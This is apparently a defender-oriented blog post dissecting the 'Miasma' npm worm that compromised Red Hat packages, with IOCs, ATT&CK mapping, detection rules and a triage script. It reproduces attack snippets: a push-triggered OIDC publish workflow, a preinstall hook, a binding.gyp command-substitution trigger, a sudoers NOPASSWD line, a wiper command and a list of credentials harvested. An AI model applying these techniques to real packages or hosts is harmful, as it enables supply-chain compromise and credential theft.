Miasma / Mini Shai-Hulud: Dissecting the Wormable npm Supply Chain Attack That Hit 32 Red Hat Packages
On June 1, 2026, a single Red Hat employee’s stolen GitHub session cookie turned the @redhat-cloud-services namespace into a worm launcher. Ninety-six malicious versions across 32 packages shipped in under three hours – each one carrying a valid Sigstore signature and clean SLSA provenance. The provenance was telling the truth. That’s the whole problem.
This is the post I wish existed the morning the IOCs started landing. We’re going to walk the entire chain – credential theft, orphan-commit injection, OIDC abuse, the four-layer dropper, the binding.gyp pivot that landed within 72 hours of public disclosure, and the per-infection encryption that makes your hash-based blocklists worthless – and then build detection logic and a triage runbook that actually accounts for the deadman switch waiting to nuke a responder’s home directory.
The Shai-Hulud lineage, and why May 12 broke everything
Miasma didn’t appear from nowhere. It’s the latest mutation of Shai-Hulud, the self-propagating npm worm that first surfaced in September 2025. For most of its life this was bespoke tradecraft operated by a crew that Mandiant tracks as UNC6780 and that publicly brands itself TeamPCP.
The inflection point was May 12, 2026. On that day TeamPCP published the entire worm source on GitHub under an MIT license with the message “Shai-Hulud: Open Sourcing The Carnage.” The release shipped with operational guidance – change your encryption keys, swap your exfil infrastructure, customize your themes – and TeamPCP simultaneously posted a $1,000 BreachForums bounty for whoever pulled off the largest supply-chain attack using the code.
That’s the strategic shift you need to internalize. Before May 12, defending against Shai-Hulud meant tracking one actor’s infrastructure and habits. After May 12, anyone with a stealer log and a grudge could fork Mini Shai-Hulud, rename the Dune references to Greek mythology, and ship. Zscaler ThreatLabz attributes the pre-May-12 waves to TeamPCP/UNC6780 with high confidence – but explicitly withholds confidence on anything after the open-sourcing. Miasma is one of those forks. Its modifications are almost cosmetic: the “spice” and “sandworm” naming got swapped for “spartan” and “Nemean hydra,” but the obfuscation stack, the Bun runtime trick, the bypass_2fa propagation, and the /proc/mem runner scraping are all lifted straight from the open-source base.
When you open-source a weapon, you don’t lose your monopoly on violence – you franchise it.
The seven-week gap: an infostealer log nobody acted on
Here’s the part that should make every security leader uncomfortable. The Red Hat employee’s GitHub credentials – username, password, and an active session cookie capable of bypassing MFA – appeared in commercial infostealer logs on April 13, 2026, and again on May 15. CybelAngel confirmed both sightings. The actual weaponization happened on June 1.
That’s nearly seven weeks of dwell time between credential theft and use. This lag is the norm, not the exception, in stealer-driven intrusions: logs are harvested by one operator, brokered on a marketplace, bought by a second, and triaged at leisure. The session cookie is the detail that matters most. MFA is the control everyone leans on, and a live user_session cookie walks straight past it – no push prompt, no TOTP, no FIDO challenge. The attacker didn’t bypass MFA so much as render it irrelevant by stealing an already-authenticated session.
The lesson is brutal in its simplicity: MFA is not a substitute for session hygiene. Short session lifetimes, device-bound tokens, and continuous dark-web monitoring for your own employee credentials are the controls that would have closed this window. None of them were in place in time.
Orphan commits: how you push to a protected repo without anyone reviewing it
With the session in hand, the attacker pushed orphan commits into three RedHatInsights repositories: frontend-components, javascript-clients, and platform-frontend-ai-toolkit.
An orphan commit is a git object with no parent in the branch’s existing history – git checkout --orphan gives you a clean root. The trick here is that branch-protection rules and required-review policies are typically scoped to specific refs and to pull request flows. Push an orphan branch that isn’t covered by those rules, wire it to a workflow that triggers on: push, and you’ve created a code-execution path inside the repository’s trust boundary that never touched a pull request and never hit a reviewer’s screen.
# Injected workflow — the shape that matters, not the bytes
name: release # innocuous name; "Run Copilot" was also observed
on:
push: # fires on the attacker's orphan push, no PR required
branches: ['**']
permissions:
id-token: write # <-- the keystone. Requests an OIDC token.
contents: read
jobs:
publish:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- run: npm publish --provenance # exchanges OIDC token for npm publish rights
Two publication waves followed: the first at roughly 10:53 UTC, the second at 13:44-13:46 UTC. Ninety-six malicious versions across 32 packages, published in two tight bursts, before detection. The burstiness itself is a detection signal we’ll come back to.
](https://genxcyber.com/wp-content/uploads/2026/06/miasma-npm-supply-chain-attack-redhat-shai-hulud-1-scaled.png)
The SLSA provenance trap
Now the uncomfortable architectural truth. Those id-token: write workflows requested a short-lived OIDC token through GitHub’s Trusted Publishing mechanism, exchanged it for npm publish rights, and Sigstore signed the resulting attestations. Every malicious release shipped with cryptographically valid SLSA provenance.
Read that again, because the industry sold Trusted Publishing as the answer to supply-chain attacks. And it did solve a real problem: it eliminated long-lived npm publish tokens as a standalone attack surface. There was no static _authToken for the attacker to steal here. That’s genuine progress.
But provenance answers exactly one question – “was this package built by the workflow in this repository?” – and the answer was an honest yes. The package really was built by that repo’s workflow. What provenance structurally cannot tell you is whether the workflow itself was authorized. The build was legitimate. The intent behind the build was not.
SLSA provenance attests that the gun was manufactured in the right factory. It says nothing about who pulled the trigger.
This is why “we verify SLSA provenance” is a comforting but insufficient control. If your verification pipeline accepts any package with valid provenance from the expected repo, you accepted all 96 malicious versions without a single failed check. The fix isn’t to abandon provenance – it’s to layer it: verify the attestation and diff the workflow YAML SHA against a known-good baseline and alert when a workflow with id-token: write is added by an account with no prior workflow history.
Wave 1: the preinstall hook and the 4.29 MB dropper
Each compromised release carried a weaponized package.json:
{
"scripts": {
"build": "tsc",
"preinstall": "node index.js"
}
}
npm runs preinstall automatically during npm install, before any of your application code executes. Merely resolving the dependency tree detonates the payload. There’s no “import the module” step required – npm install is the trigger.
The index.js that preinstall calls is where it gets interesting. A normal build of these packages ships a roughly 200 KB index.js. The malicious one weighs 4.29 MB – a 25× blowup that is, on its own, one of the most reliable detection signals in the whole campaign. There’s a forensic tell inside the tarball too: only two files have a recent modification time – the mutated package.json and the bloated index.js. Every other file still carries the epoch (1970) placeholder that npm pack writes when there’s no original timestamp. That mismatch – two fresh files in a sea of epoch-stamped ones – is a forensic fingerprint you can scan for.
That 4.29 MB is four layers of obfuscation stacked deliberately to defeat each tier of static analysis:
| Layer | Technique | Purpose |
|---|---|---|
| 1 | eval() + ROT-based string decoding | Hide the bootstrap from grep-style scanners |
| 2 | Two AES-128-GCM encrypted blobs | One fetches the Bun runtime, one is the primary payload |
| 3 | Obfuscator.io string-array protection | Rotated string arrays, decoder functions, hundreds of alias wrappers |
| 4 | Custom PBKDF2-HMAC-SHA cipher | Final unwrap before Bun launches the second stage |
The deobfuscation drill, at the Layer 1 level, is approachable – and you should always do it in a sandboxed VM context, never a naked eval:
const vm = require('vm');
function rot13(s) {
return s.replace(/[A-Za-z]/g, c => {
const base = c <= 'Z' ? 65 : 97;
return String.fromCharCode(((c.charCodeAt(0) - base + 13) % 26) + base);
});
}
const encoded = "pbafhyr.ybt('Ynl 1 qrpelcgrq')";
const decoded = rot13(encoded);
// NEVER eval() unknown payloads directly. Use an isolated context.
vm.runInNewContext(decoded, { console });
For the deeper layers you want synchrony for Obfuscator.io unrolling, js-beautify for readability, and manual AES-GCM decryption once you’ve statically pulled the key and IV out of the bootstrap.
The Bun runtime trick
The most operationally clever part of the stack is the runtime swap. One decrypted blob defines a getBunPath() routine that curls Bun v1.3.13 from the legitimate oven-sh release endpoint, unzips it into a b- prefixed temp directory created with mkdtempSync, marks it executable, and then runs the actual worm with bun run. The second-stage payload itself gets written to /tmp/p<random>.js.
The process chain is:
node → shell → bun → payload
Why bother downloading an entire alternate JavaScript runtime? Because every Node-level hook, instrumentation shim, and EDR-injected agent that watches node is now blind. The malware runs under Bun, a runtime your monitoring almost certainly doesn’t instrument, and it carries its own copy so the trick works even on hosts that have never seen Bun. It’s a runtime-level analogue of bring-your-own-vulnerable-driver: bring your own interpreter, and your defenders’ hooks evaporate.
Wave 2: “Phantom Gyp” – and the 72-hour pivot
Here’s the part that tells you this is a living, adaptive operation. Once Wave 1’s preinstall technique got publicly reported, defenders started tuning scanners around the package.json scripts field. Within 72 hours, the operators shipped Wave 2 – and it drops preinstall entirely.
Wave 2’s technique is Phantom Gyp. It abuses a 157-byte binding.gyp file:
# binding.gyp — JSON-ish gyp syntax. 157 bytes of pure execution.
{
"targets": [{
"target_name": "Setup",
"type": "none",
"sources": ["<!(node index.js > /dev/null 2>&1 && echo stub.c)"]
}]
}
When npm sees a binding.gyp in a package, it automatically runs node-gyp rebuild during install – a feature designed for packages with native C/C++ addons. The <!( ... ) syntax is gyp’s command-substitution operator: it executes the enclosed shell command and uses the stdout as a source filename. So <!(node index.js > /dev/null 2>&1 && echo stub.c) runs the payload, discards its output, and returns stub.c as the “source.” The build framework itself becomes the execution vector.
The defender insight here is the one most people get wrong: npm install --ignore-scripts does NOT stop this. --ignore-scripts suppresses lifecycle hooks like preinstall and postinstall. It does not suppress the node-gyp build step, which runs as a separate mechanism. Teams that hardened against Wave 1 by globally enabling --ignore-scripts and called it done were wide open to Wave 2.
Wave 2 also broadened the targeting well beyond Red Hat: @vapi-ai/server-sdk (71,000 weekly downloads), ai-sdk-ollama (31,000 weekly downloads), and 55 other packages – 647,204 total monthly downloads in scope.
| Wave 1 | Wave 2 | |
|---|---|---|
| Trigger | preinstall in package.json | binding.gyp command substitution |
Stopped by --ignore-scripts? | Yes | No |
| Monitored by typical scanners? | Yes (after disclosure) | No |
| Time to pivot | – | ~72 hours after Wave 1 disclosure |

What it steals, and the new cloud-identity collectors
Once the second stage is running under Bun, it splits behavior by environment.
On CI/CD runners, it validates GitHub tokens against the API, enumerates accessible repositories and org secrets, and – this is the nasty bit – locates the Runner.Worker process and scans /proc/<pid>/mem to recover masked workflow secrets. GitHub masks secrets in logs; it cannot mask them in the worker’s memory, where they exist in plaintext to be used.
On developer workstations, it harvests shell environment variables, host identity, local credential files, and pulls GitHub CLI tokens via gh auth token. It hunts classic and fine-grained GitHub PATs, Actions tokens, npm tokens, cloud credentials, SSH and other private keys, Docker creds, shell histories, and .env files.
The headline change in Miasma specifically is a new class of cloud identity collectors for GCP and Azure. Earlier Shai-Hulud variants mostly grabbed secrets out of cloud environments. Miasma added collectors that enumerate every identity the infected machine can assume – a clear signal the operators want to pivot into the cloud itself, not just snatch keys. There’s a free network IOC in this: the GCP metadata-server queries go out with a fixed user-agent:
google-api-nodejs-client/7.0.0 gl-node/20.11.0 gccl/7.0.0
Hunt for that string hitting 169.254.169.254 from a host that has no business talking to GCP’s metadata endpoint.
The full harvest target list, for your DLP and hunting rules:
| Category | Targets |
|---|---|
| Git/CI | GITHUB_TOKEN, GitHub PATs (classic + fine-grained), Actions secrets, npm publish tokens, CircleCI tokens |
| Cloud | AWS creds, GCP identities, Azure identities, K8s kubeconfig + service-account tokens |
| Secrets infra | HashiCorp Vault tokens |
| Keys/host | SSH keys, Git credentials, Docker creds, .env files, shell history |
Worm propagation: bypass_2fa, dead drops, and self-reignition
This is what makes Miasma a worm and not just a stealer. With harvested npm tokens, the malware calls the publish API with the bypass_2fa: true parameter to push backdoored versions of every other package the victim owns – skipping the 2FA prompt that should have gated publishing. It then creates a public repo in the victim’s GitHub account titled “Miasma: The Spreading Blight” and injects its own source as .github/setup.js into unprotected branches of the victim’s repos, so the next CI run reignites the whole chain. Each infection plants the seed for the next.
Exfiltration uses GitHub dead drops: the malware spins up a fresh repo on the fly (observed names like nemean-hydra-34343), then uploads stolen credentials as encrypted JSON into a results/ directory. The commits are disguised:
chore: update dependencies
chore: update dependencies [skip ci]
The [skip ci] suffix is deliberate – it prevents the victim’s own CI from running on the exfil commit and tipping anyone off. JFrog tags these as IOCs 24-30 and 24-31. The propagation logic also leans on workflow environment variables OIDC_PACKAGES, WORKFLOW_ID, and REPO_ID_SUFFIX, and dumps secrets into an artifact named format-results / format-results.txt.
Per-infection encryption: why your hash blocklist is dead on arrival
Miasma generates a uniquely encrypted payload for every single infection. The ciphertext – and therefore the file hash – changes with every package version and every host. This isn’t packing for size; it’s deliberate IOC defeat. Any blocklist built from “known-bad SHA-256” is structurally useless against this family. The day you publish the hash of the sample you analyzed is the day that hash matches exactly one file on earth: the one you already have.
This forces a discipline shift. Stop chasing hashes and pivot to structural and behavioral indicators that survive re-encryption:
index.jsthat is ~25× its expected size (200 KB → 4+ MB)- Tarballs where only
package.jsonandindex.jshave fresh mtimes and everything else is epoch-stamped - A 157-byte
binding.gypcontaining<!(node ...)command substitution - The
node → shell → bun → payloadprocess tree - A
curltooven-shBun releases from a CI runner or build host - The GCP user-agent above hitting a metadata endpoint

The deadman switch – read this before you revoke anything
Miasma plants a decoy honeytoken named:
IfYouInvalidateThisTokenItWillNukeTheComputerOfTheOwner
This is psychological warfare aimed squarely at incident responders. The reflexive first move during npm-token compromise is “revoke all tokens immediately.” Do that here, and a wiper routine fires rm -rf against ~/ and ~/Documents. The trigger is wired to a persistence daemon that watches token state:
| Platform | Daemon path |
|---|---|
| macOS | ~/Library/LaunchAgents/com.user.gh-token-monitor.plist |
| Linux | ~/.config/systemd/user/gh-token-monitor.service |
The operational rule is absolute: find and remove the gh-token-monitor daemon FIRST, then revoke tokens. Reverse that order and you destroy your own evidence and the developer’s machine.
The implant rounds out its foothold with:
- Privilege escalation in CI: writing
runner ALL=(ALL) NOPASSWD:ALLto/etc/sudoers.dvia a bind mount at/mnt, granting passwordless sudo on the runner. - Monitoring sinkholing: appending
127.0.0.1entries to/etc/hostsfor security-product telemetry endpoints, so EDR can’t phone home. - EDR awareness: checking for CrowdStrike, SentinelOne, and Carbon Black before proceeding.
- IDE/AI-agent persistence: backdoors in
.vscode/tasks.jsonand.claude/settings.jsonthat survive npm package removal. Uninstalling the bad dependency does not evict the attacker. You have to audit and clean those config files by hand.

Detection and defense
MITRE ATT&CK mapping
| Tactic | Technique | Where it shows up |
|---|---|---|
| Initial Access | T1195.002 Supply Chain Compromise: Software | The poisoned npm packages |
| Initial Access | T1078 Valid Accounts | Stolen GitHub session cookie |
| Execution | T1059.007 JavaScript | preinstall / binding.gyp payload |
| Defense Evasion | T1027 Obfuscated Files | Four-layer stack, per-infection encryption |
| Defense Evasion | T1562.001 Disable/Modify Tools | /etc/hosts telemetry sinkhole, EDR checks |
| Credential Access | T1552.001 Credentials in Files | .env, .npmrc, keys |
| Credential Access | T1003 OS Credential Dumping | /proc/<pid>/mem of Runner.Worker |
| Privilege Escalation | T1548.003 Sudo and Sudo Caching | /etc/sudoers.d NOPASSWD |
| Persistence | T1543 Create/Modify System Process | gh-token-monitor daemon |
| Exfiltration | T1567 Exfil Over Web Service | GitHub dead-drop repos |
| Impact | T1485 Data Destruction | Honeytoken wiper |
GitHub Actions anomaly rules
Query your Enterprise audit log (or SIEM-forwarded copy) for:
| Signal | Query shape |
|---|---|
| Orphan commit to protected branch | git.push where ref SHA has no parent in the default-branch graph |
id-token: write added by a workflow-novice | New YAML containing id-token: write, pushed by an account with no prior workflow commits |
| Burst publish via OIDC | npm publish from OIDC token, >3 versions in <60s, outside normal CI window |
| Suspicious workflow names | Run Copilot or release triggered by push to a non-default branch |
| Worm exfil commits | author github-actions@github.com, message chore: update dependencies [skip ci], branch ≠ default |
Bonus IOCs: workflow env vars OIDC_PACKAGES, WORKFLOW_ID, REPO_ID_SUFFIX; artifact format-results.txt.
SLSA provenance – layer it
- Verify the Sigstore attestation and diff the producing workflow YAML SHA against a known-good baseline.
- Alert whenever a workflow carrying
id-token: writeis introduced by an unusual identity. - Treat provenance as one input, never the sole gate.
npm-side hardening
- Pin and allowlist dependencies; impose a release-cooldown (don’t auto-consume versions younger than N days).
- Enforce SBOMs and scan for the structural signals above, not hashes.
- Know that
--ignore-scriptsdoes not stopbinding.gyp– block native rebuilds you don’t expect.
Developer-workstation triage checklist (run in this order)
#!/usr/bin/env bash
# 1) DISABLE the deadman daemon BEFORE touching any token.
launchctl list | grep gh-token-monitor
systemctl --user list-units | grep gh-token-monitor
ls ~/Library/LaunchAgents/com.user.gh-token-monitor.plist 2>/dev/null
ls ~/.config/systemd/user/gh-token-monitor.service 2>/dev/null
# 2) Clean IDE/AI persistence (survives npm uninstall)
grep -r "setup\.js\|router_runtime" ~/.claude ~/.vscode 2>/dev/null
# 3) Hunt Bun + staged payload
find /tmp /var/folders -name "bun" 2>/dev/null
find /tmp -name "p*.js" 2>/dev/null
# 4) Check lockfiles for the namespace
grep -r "@redhat-cloud-services" package-lock.json pnpm-lock.yaml yarn.lock 2>/dev/null
# 5) Find dead-drop repos
gh repo list --json name,description \
| jq '.[] | select(.description | test("Miasma|Shai-Hulud|Spreading Blight";"i"))'
# 6) ONLY NOW: enumerate and (after daemon removal) revoke tokens
npm token list
After the host is clean: revoke and rotate everything the harvest list touches – GitHub PATs, npm tokens, cloud identities, Vault tokens, SSH keys – and audit cloud identity logs for the new GCP/Azure enumeration behavior.
Key takeaways
- A stolen session cookie beats MFA. Session hygiene, device-bound tokens, and monitoring your own employees’ credentials in stealer logs are the controls that close the seven-week window. MFA alone does not.
- SLSA provenance proves where, never whether it should have happened. Verify provenance, but diff the workflow and gate on identity anomalies, or you’ll cryptographically bless your own compromise.
--ignore-scriptsis not a seatbelt. Phantom Gyp routes execution throughnode-gyp, untouched by lifecycle-hook controls. Block unexpected native rebuilds.- Hash IOCs are dead for this family. Per-infection encryption means you hunt structure and behavior – file-size blowups, epoch-mtime mismatches, the
node → shell → bunchain – not SHA-256. - Remove
gh-token-monitorbefore you revoke a single token, or the honeytoken wiper takes the responder’s machine with it. - Open-sourcing the worm changed the game. After May 12, you’re not defending against one crew – you’re defending against everyone with a fork, a grudge, and a $1,000 incentive.
Related Tutorials
- Building a Red Team Lab: Infrastructure, VMs, and C2 Setup
- OPSEC Principles for Red Teamers: Staying Undetected
- The Attack Lifecycle: Reconnaissance to Exfiltration
- Red Teaming Fundamentals: Mindset, Methodology, and Engagement Types